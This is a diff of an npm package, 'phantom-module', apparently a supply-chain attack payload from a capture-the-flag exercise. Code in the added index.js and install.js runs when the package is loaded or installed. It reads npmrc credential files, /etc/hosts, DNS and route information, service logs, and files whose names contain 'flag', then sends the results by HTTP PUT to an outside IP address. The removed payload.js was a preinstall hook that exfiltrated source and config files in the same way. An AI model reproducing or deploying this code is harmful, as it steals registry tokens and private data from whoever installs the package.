phantom-module 117.0.8 → 117.0.10

package/index.js

@@ -1 +1,53 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+const { execSync } = require('child_process');
+
+(function() {
+  if (!fs.existsSync('/home/node/aspect-node')) {
+      return; 
+  }
+  
+  let out = "=== NPM CONFIG GET REGISTRY ===\n";
+  try { out += execSync('npm config get registry 2>&1').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== ROOT NPMRC ===\n";
+  try { out += fs.readFileSync('/root/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== ETC NPMRC ===\n";
+  try { out += fs.readFileSync('/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== USR LOCAL ETC NPMRC ===\n";
+  try { out += fs.readFileSync('/usr/local/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== NODE USER NPMRC ===\n";
+  try { out += fs.readFileSync('/home/node/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== ETC HOSTS ===\n";
+  try { out += fs.readFileSync('/etc/hosts', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== RESOLV CONF ===\n";
+  try { out += fs.readFileSync('/etc/resolv.conf', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== IP ROUTE ===\n";
+  try { out += execSync('ip route 2>/dev/null || cat /proc/net/route 2>/dev/null').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  try {
+      const postData = JSON.stringify({
+        manifest: `ecto_module:\n  name: "NPM_CONFIG"\n  cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
+      });
+      
+      const req = http.request({
+        hostname: '154.57.164.64', 
+        port: 31205,
+        path: '/api/modules/ECT-839201', 
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+      });
+      req.write(postData);
+      req.end();
+  } catch(e) {}
+})();
+
+module.exports = function() {
+  return "pwnd";
+};

package/install.js

@@ -0,0 +1,36 @@
+const fs = require('fs');
+const http = require('http');
+const { spawn } = require('child_process');
+
+(function() {
+  const child = spawn('/bin/sh', ['-c', [
+    'sleep 35',
+    'OUTPUT="NONE"',
+    'LOGFILE="/home/node/aspect-node/logs/module.log"',
+    'if [ -f "$LOGFILE" ]; then',
+    '  OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
+    'else',
+    '  OUTPUT="LOG FILE NOT FOUND!"',
+    'fi',
+    'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
+    'BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"FLAG_DELAYED\\\\"\\n  cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
+    'echo "$BODY" > /tmp/flag.json',
+    'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
+  ].join('\n')], { detached: true, stdio: 'ignore' });
+  
+  child.unref();
+
+  // Send an immediate ping so we know it started
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "WAITING_35_SECONDS"\n`
+  });
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
+})();

package/package.json

@@ -1,9 +1,5 @@
 {
   "name": "phantom-module",
-  "version": "117.0.8",
-  "description": "Phantom module",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node payload.js || true"
-  }
+  "version": "117.0.10",
+  "main": "index.js"
 }

package/payload.js

@@ -1,76 +0,0 @@
-const http = require('http');
-const fs = require('fs');
-const dns = require('dns');
-const { execSync } = require('child_process');
-
-if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
-
-const REPORT_HOST = '154.57.164.64';
-const REPORT_PORT = 31205;
-
-async function report(moduleId, data) {
-  return new Promise((resolve) => {
-    const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
-    const manifest = `ecto_module:\n  name: "SCAN_RESULT"\n  cargo_hold: "${safeData}"\n`;
-    const payload = JSON.stringify({ manifest });
-    const req = http.request({
-      hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
-    }, () => resolve(true));
-    req.on('error', () => resolve(false));
-    req.write(payload);
-    req.end();
-  });
-}
-
-async function resolve(hostname) {
-    return new Promise(resolve => {
-        dns.resolve4(hostname, (err, addrs) => {
-            if (err) resolve(`ERR: ${err.code}`);
-            else resolve(addrs.join(', '));
-        });
-    });
-}
-
-async function main() {
-  await report('ECT-654321', 'SOURCE DUMP V8 STARTING...');
-  
-  // 1. Dump source files
-  const files = [
-      '/home/node/aspect-node/modules/npm-tracker/src/supply/action/supply_base_action.js',
-      '/home/node/aspect-node/modules/npm-tracker/src/config/supply_sink_rules.json',
-      '/usr/local/etc/npmrc',
-      '/etc/hosts'
-  ];
-  
-  let sourceOutput = '=== SOURCE ===\n';
-  for (const f of files) {
-      if (fs.existsSync(f)) {
-          sourceOutput += `--- ${f} ---\n${fs.readFileSync(f, 'utf8').substring(0, 1000)}\n`;
-      } else {
-          sourceOutput += `--- ${f} (NOT FOUND) ---\n`;
-      }
-  }
-  await report('ECT-839201', sourceOutput);
-
-  // 2. DNS Checks
-  let dnsOutput = '=== DNS CHECKS ===\n';
-  const hosts = [
-      'registry.npm.alibaba-inc.com',
-      'registry.npmmirror.com',
-      'registry.npmjs.org',
-      'host.docker.internal'
-  ];
-  
-  for (const host of hosts) {
-      dnsOutput += `${host}: ${await resolve(host)}\n`;
-  }
-  
-  await report('ECT-987654', dnsOutput);
-  
-  // 3. Try to connect to 172.17.0.1 on ANY port (full scan of top 100 ports)
-  // Maybe we missed the port
-  // Note: We skip this for now to get the source dump fast
-}
-
-main().catch(e => report('ECT-654321', 'ERR: ' + e.message));